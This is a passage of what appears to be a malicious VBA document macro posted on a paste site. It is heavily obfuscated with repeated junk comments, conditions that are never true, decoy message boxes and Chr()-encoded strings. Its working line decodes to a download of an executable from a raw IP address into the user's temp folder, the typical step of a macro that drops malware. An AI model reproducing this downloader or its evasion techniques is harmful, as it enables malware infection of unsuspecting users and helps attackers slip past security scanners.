- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(115) & Chr(111) & Chr(121) & Chr(104) & Chr(108) & Chr(103) & Chr(101) & Chr(97) & Chr(55) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(114) & Chr(110) & Chr(118) & Chr(99) & Chr(119) & Chr(97) & Chr(105) & Chr(54) & Chr(55) & Chr(51) & Chr(56)) = Len(Chr(100) & Chr(107) & Chr(111) & Chr(108) & Chr(109) & Chr(115) & Chr(115) & Chr(117)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Set ocpvmgeelcx = Nothing
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo delrostx
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim kvzvcucd As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(83) & Chr(80) & Chr(84) & Chr(80) & Chr(75) & Chr(65) & Chr(46) & Chr(87) & Chr(90) & Chr(69) For Binary As 38
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 146892 = 146892 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7572 < 16 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(120) & Chr(109) & Chr(109) & Chr(115) & Chr(98) & Chr(106) & Chr(111) & Chr(109) & Chr(50) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(97) & Chr(110) & Chr(114) & Chr(112) & Chr(114) & Chr(100) & Chr(120) & Chr(103) & Chr(56) & Chr(51) & Chr(50) & Chr(51)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(117) & Chr(111) & Chr(98) & Chr(99) & Chr(112)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #38, , kvzvcucd
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 462772 = 462772 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1465 < 42 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(99) & Chr(106) & Chr(101) & Chr(113) & Chr(98) & Chr(119) & Chr(114) & Chr(115) & Chr(50) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(99) & Chr(122) & Chr(97) & Chr(108) & Chr(119) & Chr(102) & Chr(113) & Chr(53) & Chr(54) & Chr(51) & Chr(57)) = Len(Chr(121) & Chr(113) & Chr(112) & Chr(120) & Chr(106) & Chr(115) & Chr(98) & Chr(112)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #38
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 738861 = 738861 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7295 < 47 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(104) & Chr(112) & Chr(111) & Chr(118) & Chr(106) & Chr(103) & Chr(104) & Chr(56) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(113) & Chr(104) & Chr(118) & Chr(103) & Chr(108) & Chr(104) & Chr(104) & Chr(49) & Chr(52) & Chr(54) & Chr(56)) = Len(Chr(116) & Chr(103) & Chr(108) & Chr(115) & Chr(99) & Chr(106) & Chr(104) & Chr(99)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- delrostx:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 538254 = 538254 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 9617 < 24 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(100) & Chr(114) & Chr(97) & Chr(108) & Chr(108) & Chr(101) & Chr(117) & Chr(101) & Chr(57) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(100) & Chr(111) & Chr(110) & Chr(112) & Chr(102) & Chr(101) & Chr(106) & Chr(101) & Chr(51) & Chr(56) & Chr(55) & Chr(49)) = Len(Chr(119) & Chr(99) & Chr(117) & Chr(116) & Chr(113) & Chr(109) & Chr(122) & Chr(122)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End Function
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Sub evgvriwbtjr()
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo ljoliijf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim vskgweot As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(71) & Chr(74) & Chr(68) & Chr(84) & Chr(82) & Chr(66) & Chr(46) & Chr(71) & Chr(70) & Chr(68) For Binary As 42
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 376792 = 376792 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3764 < 68 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(112) & Chr(104) & Chr(99) & Chr(116) & Chr(117) & Chr(99) & Chr(97) & Chr(116) & Chr(52) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(105) & Chr(115) & Chr(101) & Chr(119) & Chr(99) & Chr(110) & Chr(114) & Chr(121) & Chr(52) & Chr(53) & Chr(50) & Chr(53)) = Len(Chr(120) & Chr(108) & Chr(99) & Chr(108) & Chr(122) & Chr(115) & Chr(116) & Chr(97)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #42, , vskgweot
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 412666 = 412666 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4667 < 64 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(121) & Chr(109) & Chr(119) & Chr(102) & Chr(122) & Chr(117) & Chr(103) & Chr(99) & Chr(56) & Chr(53))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(100) & Chr(112) & Chr(118) & Chr(115) & Chr(113) & Chr(110) & Chr(113) & Chr(103) & Chr(55) & Chr(56) & Chr(51) & Chr(49)) = Len(Chr(119) & Chr(118) & Chr(117) & Chr(117) & Chr(105) & Chr(106) & Chr(120) & Chr(102)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #42
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 921165 = 921165 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3891 < 94 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(106) & Chr(111) & Chr(108) & Chr(99) & Chr(120) & Chr(115) & Chr(102) & Chr(108) & Chr(49) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(117) & Chr(108) & Chr(109) & Chr(114) & Chr(99) & Chr(119) & Chr(101) & Chr(97) & Chr(54) & Chr(49) & Chr(54) & Chr(53)) = Len(Chr(111) & Chr(99) & Chr(99) & Chr(107) & Chr(121) & Chr(108) & Chr(101) & Chr(105)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- ljoliijf:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 169543 = 169543 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4651 < 41 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(121) & Chr(119) & Chr(106) & Chr(114) & Chr(118) & Chr(104) & Chr(107) & Chr(110) & Chr(53) & Chr(49))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(118) & Chr(103) & Chr(115) & Chr(113) & Chr(114) & Chr(99) & Chr(106) & Chr(117) & Chr(53) & Chr(53) & Chr(57) & Chr(49)) = Len(Chr(117) & Chr(101) & Chr(108) & Chr(117) & Chr(110) & Chr(102) & Chr(122) & Chr(121)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- trzfcrwihtc Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(52) & Chr(52) & Chr(46) & Chr(55) & Chr(54) & Chr(46) & Chr(49) & Chr(53) & Chr(51) & Chr(46) & Chr(51) & Chr(54) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(100) & Chr(111) & Chr(99) & Chr(47) & Chr(57) & Chr(46) & Chr(101) & Chr(120) & Chr(101), Environ(Chr(116) & Chr(101) & Chr(109) & Chr(112)) & Chr(92) & Chr(68) & Chr(67) & Chr(73) & Chr(84) & Chr(88) & Chr(69) & Chr(75) & Chr(66) & Chr(73) & Chr(82) & Chr(71) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End Sub
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement